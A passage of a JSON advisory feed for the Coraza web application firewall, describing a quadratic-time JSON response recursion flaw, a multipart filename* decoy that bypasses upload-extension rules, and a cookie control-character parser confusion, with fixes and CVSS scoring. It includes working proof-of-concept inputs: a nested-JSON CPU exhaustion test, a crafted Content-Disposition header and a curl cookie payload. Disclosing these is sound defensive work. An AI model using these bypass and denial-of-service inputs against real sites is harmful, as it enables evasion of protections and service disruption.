B8GA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13MjUzLW02NmctcngyNM4AB8GA","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.1","vulnerable_version_range":"\u003e= 3.0.4, \u003c 3.8.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13MjUzLW02NmctcngyNM4AB8GA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zYzZ3LWo5eG0tOGgyaM4AB8F_","url":"https://github.com/advisories/GHSA-3c6w-j9xm-8h2h","title":"Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion","description":"### Summary\n\nThe JSON response body processor parses response bodies with no recursion\nlimit. `ProcessResponse` calls `readJSON(ss, ignoreJSONRecursionLimit)`, and\nthat constant is `-1`. The guard in `readItems` only fires on `== 0`, so\ncounting down from `-1` (-2, -3, ...) never reaches it. The guard is effectively\ndead on the response path. The request path is fine: `ProcessRequest` passes the\nconfigured limit (default 1024). There is no equivalent directive or default for\nresponses.\n\nParsing a deeply nested JSON response is CPU-bound and its cost grows\nquadratically with nesting depth. A 512 KiB response (the default\n`ResponseBodyLimit`) holds about 87,000 nesting levels and takes ~12 s to\nprocess, keeping one core busy the whole time.\n\n### Root cause\n\n`internal/bodyprocessors/json.go`\n\n```go\nconst ignoreJSONRecursionLimit = -1                     // line 51\n\nfunc (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {\n    ...\n    data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1\n}\n\nfunc (js *jsonBodyProcessor) ProcessRequest(...) error {\n    ...\n    data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024\n}\n```\n\nThe guard and the decrement:\n\n```go\nfunc readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {\n    if maxRecursion == 0 {                              // line 106\n        return errors.New(\"max recursion reached while reading json object\")\n    }\n    ...\n    iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126\n```\n\nNote that `ProcessResponse` discards `BodyProcessorOptions` (the parameter is\n`_`), so even a caller that wanted to set a limit on responses has no way to.\n\n### Why the cost is quadratic\n\nEvery nesting level re-parses the remaining nested document through\n`gjson.ForEach`, so total work is O(n²) in the depth. Numbers below were measured\non an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2\n(v3.7.0-55):\n\n```\ndepth   bytes    ProcessResponse time\n5000    30004    30 ms\n10000   60004    119 ms\n20000   120004   456 ms\n40000   240004   2.18 s\n87381   524290   12.09 s\n```\n\nLog-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the\nfull range), which matches quadratic. Roughly 87,000 levels is the most that\nfits inside the default 512 KiB `ResponseBodyLimit`.\n\n### PoC\n\nSave as `internal/bodyprocessors/poc_json_test.go`, then:\n\n```\ngo test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n      \"strings\"\n      \"testing\"\n      \"time\"\n\n      \"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n      \"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n      \"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc nestedJSON(depth int) string {\n      var sb strings.Builder\n      sb.Grow(depth*6 + 4)\n      for i := 0; i \u003c depth; i++ {\n              sb.WriteString(`{\"a\":`)\n      }\n      sb.WriteString(\"null\")\n      for i := 0; i \u003c depth; i++ {\n              sb.WriteByte('}')\n      }\n      return sb.String()\n}\n\nfunc TestPoCJSONResponse(t *testing.T) {\n      proc, _ := bodyprocessors.GetBodyProcessor(\"json\")\n\n      // Request path is bounded, response path is not.\n      body := nestedJSON(5000)\n      v := corazawaf.NewTransactionVariables()\n      errReq := proc.ProcessRequest(strings.NewReader(body), v,\n              plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})\n      errRes := proc.ProcessResponse(strings.NewReader(body), v,\n              plugintypes.BodyProcessorOptions{})\n      t.Logf(\"depth=5000 ProcessRequest  err=%v\", errReq)\n      t.Logf(\"depth=5000 ProcessResponse err=%v\", errRes)\n\n      // Quadratic scaling on the response path.\n      for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {\n              b := nestedJSON(depth)\n              vv := corazawaf.NewTransactionVariables()\n              start := time.Now()\n              proc.ProcessResponse(strings.NewReader(b), vv,\n                      plugintypes.BodyProcessorOptions{})\n              t.Logf(\"depth=%-6d bytes=%-7d time=%v\", depth, len(b), time.Since(start))\n      }\n}\n```\n\nOutput on the reference machine:\n\n```\ndepth=5000 ProcessRequest  err=max recursion reached while reading json object\ndepth=5000 ProcessResponse err=\u003cnil\u003e\ndepth=5000   bytes=30004   time=30.3ms\ndepth=10000  bytes=60004   time=119.3ms\ndepth=20000  bytes=120004  time=456.1ms\ndepth=40000  bytes=240004  time=2.185s\ndepth=87381  bytes=524290  time=12.085s\n```\n\n### Impact\n\nThis needs `ResponseBodyAccess` turned on and a backend that returns JSON\n(`application/json`). Reflection endpoints, download APIs that serve\nuser-supplied content, and JSON error responses that echo back user input are\nall plausible ways to route a nested body back through the WAF.\n\nThe work happens in a single goroutine and is CPU-bound: the body is already in\nmemory, so there is no I/O during the parse. Each such request holds one core\nfor its entire run, about 12 s per 512 KiB body at the default limit. N\nconcurrent requests take N cores. The request path has enforced a recursion\nlimit since v3.3.3; responses never have.\n\n### Suggested fix\n\nBound `ProcessResponse` the same way the request path is bounded: add a\n`ResponseBodyRecursionLimit` directive, or just pass `RequestBodyRecursionLimit`\ninstead of `-1`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:51:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h","https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","https://github.com/corazawaf/coraza/releases/tag/v3.8.0","https://github.com/advisories/GHSA-3c6w-j9xm-8h2h"],"source_kind":"github","identifiers":["GHSA-3c6w-j9xm-8h2h","CVE-2026-107833"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-12T08:00:21.777Z","epss_percentage":0.00388,"epss_percentile":0.30881,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zYzZ3LWo5eG0tOGgyaM4AB8F_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zYzZ3LWo5eG0tOGgyaM4AB8F_","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.0"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zYzZ3LWo5eG0tOGgyaM4AB8F_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zd3I3LTk5M3EtanJmZs4AB8F-","url":"https://github.com/advisories/GHSA-3wr7-993q-jrff","title":"Coraza: Multipart filename* (RFC 5987) charset restriction lets a decoy filename bypass FILES-based rules","description":"## Summary\n\nCoraza extracts a multipart file upload's filename using Go's standard-library `mime.ParseMediaType`, which only decodes the RFC 5987/6266 extended `filename*` `Content-Disposition` parameter when its declared charset is exactly `us-ascii` or `utf-8`. Any other charset — including `iso-8859-1`, which RFC 5987 explicitly permits — is silently dropped by the stdlib, with no error and no fallback signal. This lets an attacker present one filename to Coraza and a different one to the backend application in the same request.\n\n## Affected variables\n\n`FILES` (documented as *\"the original filenames as submitted by the client in the multipart upload\"*), `FILES_SIZES`, and the file-vs-field routing decision that determines whether a part is tracked as a file at all.\n\n`MULTIPART_FILENAME` is not affected. It is declared in Coraza but is not populated by any code path in the affected versions.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`'s `originFileName` calls `mime.ParseMediaType` on the raw `Content-Disposition` header and reads `dispositionParams[\"filename\"]`, which then populates `FILES`/`FILES_SIZES` for parts recognized as file uploads. Per RFC 7578 §4.2 and RFC 6266, when both `filename` and `filename*` are present, `filename*` is authoritative. Go's `mime.ParseMediaType` implements this precedence internally (`decode2231Enc` in `mediatype.go`), but only for `filename*` values whose charset token is `us-ascii` or `utf-8`:\n\n```go\n// mime/mediatype.go\nif charset != \"us-ascii\" \u0026\u0026 charset != \"utf-8\" {\n    // TODO: unsupported encoding\n    return \"\", false\n}\n```\n\nWhen `decode2231Enc` returns `false`, the stdlib silently leaves whatever was parsed for the plain `filename` parameter untouched (or leaves `filename` absent entirely if only `filename*` was supplied) — there is no error, no partial-parse indicator, nothing a caller can detect. The stdlib also discards the RFC 5987 `language` component of `filename*` entirely; it is not recoverable from the parsed params map at all.\n\n### Verified behavior (prior to the fix)\n\n| `Content-Disposition` fields | Effective filename (`FILES`) | Recognized as file upload? |\n|---|---|---|\n| `filename=\"safe.jpg\"; filename*=UTF-8''shell.php` | `shell.php` (correct) | yes |\n| `filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php` | `safe.jpg` (decoy wins) | yes, but with the wrong name |\n| `filename*=iso-8859-1''shell.php` (no plain `filename`) | *(none)* | **no** — processed as an ordinary form field into `ARGS_POST` instead |\n\nIn the second row, any rule inspecting `FILES` for a dangerous extension only ever sees `safe.jpg`, while a backend that follows RFC 7578 precedence and accepts `iso-8859-1` (an RFC-5987-legal, non-exotic charset) uses `shell.php` as the filename. In the third row, the upload skips file-specific rule scope and size-limit tracking (`FILES_COMBINED_SIZE`) entirely.\n\n## Impact\n\nA rule set that blocks file uploads by extension or name via `FILES` (or scopes rules to `FILES`/`FILES_NAMES`) can be bypassed by supplying the real filename via `filename*` under any charset other than `utf-8`/`us-ascii` — `iso-8859-1` is sufficient and is a standards-compliant choice, not an obscure or malformed one — optionally alongside an innocuous decoy `filename`. A part carrying only `filename*` additionally escapes file-vs-field routing, so `FILES`, `FILES_NAMES` and `FILES_COMBINED_SIZE` never see it.\n\nThe bypass is deterministic against Coraza and requires no authentication or user interaction. Its effect is bounded to filename-derived inspection: request body content, `ARGS` and headers are still inspected, and a part carrying only `filename*` is routed into `ARGS_POST`. Coraza itself neither stores nor serves the uploaded file, so whether an evaded rule was preventing a change of state depends on the backend's own `filename*` precedence handling and upload handling. This is scored as a scope-changing bypass with low integrity impact (`S:C`, `I:L`) rather than a direct compromise.\n\n## Proof of Concept\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php\n```\n\nProcessed through `internal/bodyprocessors/multipart.go` prior to the fix, `FILES` for this part contained `safe.jpg`. A `SecRule FILES \"\\.php$\"` (or similar extension-blocklist rule) did not fire, while a backend honoring RFC 5987/7578 `filename*` precedence uses `shell.php` as the filename.\n\n## Resolution\n\nFixed by locating and decoding `filename*` independently of `mime.ParseMediaType`'s charset restriction (a quoted-string-aware scanner over the raw header). The fix also populates `MULTIPART_FILENAME`/`MULTIPART_NAME`, which were previously declared but unpopulated.\n\n**Both readings are exposed, not just `filename*`.** An earlier version of this fix made `filename*` unconditionally authoritative over the plain `filename`, per RFC 7578 §4.2 — this closed the PoC above but relocated the same bypass: swap which field carries the real name (`filename=\"shell.php\"; filename*=iso-8859-1''safe.jpg`) and a backend that resolves the plain `filename` instead is missed, since the discarded reading never reached `FILES` at all. Fixed in `89399e67`: when a well-formed `filename*` picks a different value than the plain `filename`, both are added to `FILES`/`FILES_SIZES`/`MULTIPART_FILENAME` for the same part (one temp file, one byte count, two names). A `SecRule FILES \"\\.php$\"` now catches the payload regardless of which field carries the real name.\n\nCoraza does not select a \"safe\" charset allowlist on the operator's behalf. Instead, `filename*`'s declared charset and language are exposed as their own rule-matchable collections, `MULTIPART_FILENAME_CHARSET` and `MULTIPART_FILENAME_LANGUAGE`, alongside `MULTIPART_FILENAME`, so operators can enforce their own allowlist. Design credit: **@airween**.\n\nFor `Content-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=UTF-8''shell.php`:\n\n```\nMULTIPART_FILENAME:upload          = [shell.php, safe.jpg]   (filename* first, plain filename kept alongside)\nMULTIPART_FILENAME_CHARSET:upload  = UTF-8\nMULTIPART_FILENAME_LANGUAGE:upload = \"\"           (empty string; language is optional)\n```\n\nRule writers can enforce a charset allowlist directly. Use an anchored regex\nrather than `@within`:\n\n```\nSecRule MULTIPART_FILENAME_CHARSET:upfile \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" \\\n    \"id:199,phase:2,t:none,t:lowercase,deny\"\n```\n\n`!@within utf-8,iso-8859-1,us-ascii` looks equivalent and is not. `@within`\ntreats its parameter as the haystack and the variable as the needle, so an\nempty value is trivially contained in it and the negation never fires. A\n`filename*` that declares no charset at all — `filename*=''shell.php`, which\nRFC 5987's grammar does not permit but which Coraza accepts and exposes rather\nthan rejecting — therefore passes an `@within` allowlist untouched. Measured:\n\n| `MULTIPART_FILENAME_CHARSET` | `!@within utf-8,...` | `!@rx ^(?:utf-8\\|...)$` |\n|---|---|---|\n| `UTF-8` | quiet | quiet |\n| `shift_jis` | fires | fires |\n| *(empty, from* `filename*=''...`*)* | **quiet** | fires |\n\nBoth spellings stay quiet on a part with no `filename*` at all, because the\ncollections are then absent rather than empty and the rule never evaluates.\nThat is what makes an allowlist rule safe to apply to all traffic rather than\nonly to known upload fields.\n\n### Discrepancies are no longer dropped silently\n\nThe same silent-fallback pattern this advisory describes existed on two neighbouring paths: a part whose `Content-Disposition` was present but unparseable, and a part carrying a `filename*` that did not match the `charset'[language]'value` shape at all. Both were reduced to a part with no filename — routed into `ARGS_POST`, outside `FILES`-scoped rule coverage, with nothing to signal that a filename had been discarded.\n\nBoth now raise `MULTIPART_STRICT_ERROR` (rule 200003 in CRS). A part with *no* `Content-Disposition` at all is not flagged: it simply carries no filename. `mime.ParseMediaType` accepts every real-world filename shape tested — raw UTF-8 and emoji, spaces, Windows backslashes, a bare `%`, unquoted values — so this signal does not reach legitimate uploads.\n\n### New variable: `MULTIPART_DUPLICATE_PART_HEADER`\n\nSet to `1` when a part repeats a header (two `Content-Disposition` headers) or repeats a parameter inside its `Content-Disposition` (two `filename` parameters). A duplicate is precisely where backends disagree about which value wins, so the duplicate itself is the signal; it also contributes to `MULTIPART_STRICT_ERROR`.\n\n```\nSecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"id:201,phase:2,deny,t:none,chain\"\n  SecRule MULTIPART_DUPLICATE_PART_HEADER \"@eq 1\"\n```\n\nModSecurity adds the same variable in its fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) and lists it in the recommended audit-log format as `DH`. Coraza implements it under the same name so that a rule set referencing it parses on both engines.\n\n### Note on percent-decoding\n\nCoraza percent-decodes the `filename*` value, so `MULTIPART_FILENAME` and `FILES` hold the name the application will actually resolve. This matters for rules that match on file extension: CRS 933110 and 944140 target `FILES` with `t:none,t:lowercase,t:removeWhitespace` and perform no URL decoding, so an encoded separator such as `filename*=UTF-8''shell%2Ephp` would evade them if the raw value were stored instead. ModSecurity's fix stored the raw, still-encoded value when this was first written; after the difference was raised on its advisory it now percent-decodes as well, so the two engines agree on this point.\n\n### Three further discrepancies found in post-fix review\n\nReviewing the fix (`23446b5e`) against test coverage turned up three more cases where Coraza's parsed value could disagree with what a backend resolves, closed in `f30df398`:\n\n- An unresolvable `%` escape in `filename*` (`filename*=UTF-8''safe.jpg%ZZ`) is still kept as-is rather than substituting a decoy plain `filename`, but now also raises `MULTIPART_STRICT_ERROR`. Without this, the discrepancy was silent whenever a backend decoded the same escape differently or rejected it outright.\n- A quoted `filename*` value (`filename*=\"UTF-8''shell.php\"`) is unwrapped before parsing. RFC 5987 does not permit `filename*` to be a quoted-string, but a general Content-Disposition parser such as Go's `mime.ParseMediaType` accepts a quoted value for any parameter. Without unwrapping, the literal quote characters ended up in `MULTIPART_FILENAME`/`MULTIPART_FILENAME_CHARSET`, so an anchored rule (e.g. `\\.php$`) did not match a filename the backend resolved cleanly.\n- `MULTIPART_FILENAME`, `MULTIPART_FILENAME_CHARSET`, `MULTIPART_FILENAME_LANGUAGE` and `MULTIPART_NAME` are multi-valued collections: two parts sharing one `name` (e.g. a multi-file upload field) each keep their own filename instead of the later part overwriting the earlier one. ModSecurity's fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) independently identifies and fixes the same class of bug, describing it as \"a second, distinct bypass,\" by keeping the equivalent variables multi-valued.\n\n### The precedence decision itself was found to relocate the bypass\n\nReviewing `filename*`-as-authoritative, @jptosso demonstrated (with a repro against Go's own `mime/multipart` as the reference backend) that this precedence choice doesn't close the two-sided decoy: it only decides which of the two payload shapes above is caught, not both. Checked against ModSecurity v3's actual fix for GHSA-5pww-8rfg-9crf: it makes the identical unconditional-precedence choice (single value, `filename*` wins, plain `filename` discarded), with no record of the two-sided case being considered there either — this is not a case of Coraza deviating from a more careful upstream fix.\n\nFixed in `89399e67` by keeping both readings rather than picking one (see Resolution above). Test coverage for the original PoC direction only ever exercised the `filename=\"safe.jpg\"; filename*=...''shell.php` order; the swapped order (`filename=\"shell.php\"; filename*=...''safe.jpg`) is now a dedicated regression case, since that gap in coverage is exactly why the one-sided version shipped in the first place.\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: an RFC 2231 numbered continuation (`filename*0=`, `filename*0*=`, ...) next to a bare `filename*` parameter now sets `MULTIPART_STRICT_ERROR`, and the Content-Disposition duplicate-parameter check added in 3.8.0 is now linear instead of quadratic in the number of parameters. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity is High because the bypass depends on a specific backend behaviour outside the attacker's control. Go's `mime.ParseMediaType` and PHP resolve the same filename Coraza did, so they are not affected. The discrepancy exists only for backends that decode a non-UTF-8 `filename*` or treat a `filename*`-only part as a file, such as Werkzeug/Flask and busboy-based Node.js backends (Express with multer, Fastify). The continuation case fixed in 3.8.1 is resolved only by Werkzeug. The previous vector scored Attack Complexity Low (5.8).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:51:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-3wr7-993q-jrff","https://github.com/corazawaf/coraza/commit/5427c501b2fea6ae1305903efef01b3049224a58","https://github.com/corazawaf/coraza/commit/b2a9264437116bdd98a86fe345b2aec1152d3d7c","https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","https://github.com/corazawaf/coraza/releases/tag/v3.8.1","https://github.com/advisories/GHSA-3wr7-993q-jrff"],"source_kind":"github","identifiers":["GHSA-3wr7-993q-jrff"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-12T08:00:21.777Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd3I3LTk5M3EtanJmZs4AB8F-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zd3I3LTk5M3EtanJmZs4AB8F-","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.1","vulnerable_version_range":"\u003c 3.8.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd3I3LTk5M3EtanJmZs4AB8F-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNHFtLW0yODgtNWNwOc4AB8F9","url":"https://github.com/advisories/GHSA-g4qm-m288-5cp9","title":"Coraza has Cookie Parser Confusion","description":"## Summary\nCoraza's cookie parser (`internal/cookies.ParseCookies`) does not strip ASCII control characters (CTLs) from the edges of a cookie name/value before they're matched against `REQUEST_COOKIES` / `REQUEST_COOKIES_NAMES`. When a CTL sits directly next to the `=` separator, Coraza absorbs it into the adjacent name or value, while several backend cookie parsers trim it away — so the WAF and the application disagree about the cookie it just received.\n\n## Root cause\n- `ParseCookies` (`internal/cookies/cookies.go:17,26,31`) trims via `net/textproto.TrimString`, which strips only space (`0x20`) and tab (`0x09`).\n- RFC 6265 §4.1.1 defines cookie `name` as an HTTP `token` and `value` as `cookie-octet`, both excluding the full C0 control range (`0x00–0x1F`, `0x7F`) — not just space/tab.\n- Input `a\\v=\\t'` (vertical tab `\\v` next to `=`) keeps `\\v` in the name (`a\\v`), yielding name=`a\\v`, value=`\\t'`.\n\n## Confirmed divergence from real backends\n| Implementation | Name | Value |\n|---|---|---|\n| Coraza (\u003c 3.8.0) | `a\\v` | `\\t'` |\n| Python `http.cookies`, and the Werkzeug/Flask version in the report below | `a` | `'` |\n| PHP `$_COOKIE` | `a` | `\\t'` |\n| Node.js `cookie` package | `a\\v` | `'` |\n\nRFC 6265 itself calls this exact cookie-pair invalid, so there's no single spec-correct reference — but Coraza's boundary handling diverges from 2 of these 3 widely-used backends.\n\nCorrection (2026-10-02): current Werkzeug (3.1.9, checked during review of the 3.8.1 follow-up) keeps `a\\v` as the name, like Node's `cookie` package. The name divergence therefore applies to PHP and to Python's `http.cookies`, not to every Werkzeug version.\n\n## Impact\nAn attacker can pad a `Cookie` header with a CTL adjacent to `=` so Coraza indexes a different name/value than the backend application does. A `SecRule` scoped to a specific cookie name or value can then miss the cookie the application actually processes — a WAF bypass for cookie-carried attacks.\n\n## Affected component\n`internal/cookies.ParseCookies`, consumed via `REQUEST_COOKIES` / `REQUEST_COOKIES_NAMES`.\n\n## Fix\nTrim the full CTL range (not just space/tab) from both ends of the extracted name and value, treating a boundary-adjacent CTL as a delimiter rather than token content — aligning with RFC 6265's `token`/`cookie-octet` grammar.\n\nThe fix does not attempt to resolve what happens when a CTL lands in the *interior* of an otherwise-plausible name (e.g. `ab\\vcd`). That case is disputed among the backends themselves — Python's `http.cookies` rejects the whole pair, PHP strips the CTL from the middle, Node's `cookie` package keeps it — so there is no consensus to converge on. It is left as a separate follow-up rather than guessed at here.\n\n### Implementation note\nThe trim is deliberately hand-rolled (a byte-wise scan on `b \u003c= ' ' || b == 0x7f`, which covers octets `0x00–0x20` plus `0x7F`) rather than delegated to the standard library. This is a conscious choice on a security hot path and should not be \"simplified\" away later:\n\n- **`strings.TrimFunc` was measured and rejected.** It invokes its predicate through a func value once per byte scanned, which Go cannot devirtualize through `strings.indexFunc`. On an Apple M2, parsing a 64 KiB CTL-saturated `Cookie` header costs **167.6 µs** via `TrimFunc` versus **33.9 µs** byte-wise — a ~5× CPU amplification handed to an attacker, on input that is attacker-controlled and parsed on every request. Allocation counts are identical either way; the cost is purely the per-byte indirect call.\n- **`strings.TrimSpace` is not a substitute.** It misses most of the CTL range (`0x00–0x08`, `0x0E–0x1F`, `0x7F`) and additionally trims `U+0085` and `U+00A0`, whose multi-byte UTF-8 encodings a backend would not strip — reintroducing the very parser-disagreement class this advisory closes.\n\nThe byte-wise implementation was verified equivalent to a `TrimFunc`-based one across all 16,843,009 byte strings of length 0–3, including invalid UTF-8, with zero mismatches. `BenchmarkParseCookies/CTLFlood` guards the hot path against a future regression to a per-byte indirect call.\n\n## Proof of Concept (original report)\n\n\u003e Hi, @fzipi, i hope you doing well, i'm RelunSec from InsiteTech.jp\n\u003e\n\u003e we discovered a parser confusion in cookie parser, i used a simple flask app that print the cookies\n\u003e\n\u003e ```py\n\u003e from flask import Flask, request\n\u003e\n\u003e app = Flask(__name__)\n\u003e\n\u003e @app.route('/')\n\u003e def index():\n\u003e     # 1. Print all cookies as a dictionary to your terminal console\n\u003e     print(\"All cookies:\", request.cookies)\n\u003e\n\u003e     return \"Cookies logged in terminal!\"\n\u003e\n\u003e if __name__ == '__main__':\n\u003e     app.run(debug=True)\n\u003e ```\n\u003e\n\u003e and a go setup\n\u003e\n\u003e ```go\n\u003e package cookies\n\u003e\n\u003e import (\n\u003e \t\"fmt\"\n\u003e \t\"testing\"\n\u003e )\n\u003e\n\u003e func TestParseCookie(t *testing.T) {\n\u003e \tinputs := []string{\n\u003e \"a\\v=\\t'\",\n\u003e \t}\n\u003e\n\u003e \tfmt.Println(\"\\n==========================================\")\n\u003e \tfmt.Println(\"     COOKIE PARSE DIRECT LOCAL RUN       \")\n\u003e \tfmt.Println(\"==========================================\")\n\u003e\n\u003e \tfor _, input := range inputs {\n\u003e \t\t// Calling the exact lowercase function name from the repo\n\u003e \t\tcookies := ParseCookies(input)\n\u003e\n\u003e \t\tfmt.Printf(\"-\u003e Input:   %q\\n\", input)\n\u003e \t\tfmt.Printf(\"   Output:  %q\\n\", cookies)\n\u003e \t\tfmt.Println(\"------------------------------------------\")\n\u003e \t}\n\u003e \tfmt.Println(\"==========================================\")\n\u003e }\n\u003e ```\n\u003e\n\u003e i runned the go program as you can see\n\u003e\n\u003e ```go\n\u003e relunsec@relunsec:~/software/coraza/internal/cookies$ go test\n\u003e\n\u003e ==========================================\n\u003e      COOKIE PARSE DIRECT LOCAL RUN\n\u003e ==========================================\n\u003e -\u003e Input:   \"a\\v=\\t'\"\n\u003e    Output:  map[\"a\\v\":[\"\\t'\"]]\n\u003e ------------------------------------------\n\u003e ==========================================\n\u003e PASS\n\u003e ok  \tgithub.com/corazawaf/coraza/v3/internal/cookies\t0.003s\n\u003e ```\n\u003e\n\u003e and then i sended a curl request to the python flask web app\n\u003e\n\u003e ```bash\n\u003e relunsec@relunsec:~/software/coraza/internal/cookies$ curl 127.0.0.1:5000 -H $'Cookie: a\\v=\\t'\n\u003e Cookies logged in terminal!\n\u003e ```\n\u003e\n\u003e and then i saw in the running flask app terminal\n\u003e\n\u003e ```python\n\u003e All cookies: ImmutableMultiDict([('a', \"'\")])\n\u003e ```\n\u003e\n\u003e as you can see python see that as the a cookie and the value of it is `'`, while coraza see it in a different name and a value\n\u003e\n\u003e an attacker can craft a crafted payload that evade cookie inspection and then perfom their attack\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: trimming control characters in 3.8.0 turned a cookie whose name is only control characters (`\\x01=payload`) into a cookie with an empty name, and empty names have always been skipped, so its value was no longer inspected. Node's `cookie` package (`{\"\\x01\": \"payload\"}`, `{\"\": \"payload\"}`) and Werkzeug still pass such pairs to the application. 3.8.1 keeps them in `REQUEST_COOKIES` under the name `\"\"`. This is an intentional deviation from ModSecurity v2 and v3, which skip empty names. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nUnchanged vector; precondition stated per the project's triage guidance. Attack Complexity is High because the bypass depends on a specific backend cookie parser: the original trim discrepancy affects backends that split `a\\v` as `a` (PHP's `$_COOKIE`, Python's `http.cookies`) and only rules keyed on a cookie name, and the 3.8.0 regression affects backends that pass empty or control-character-only cookie names to the application (Node's `cookie` package, Werkzeug for `\\x01`).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this 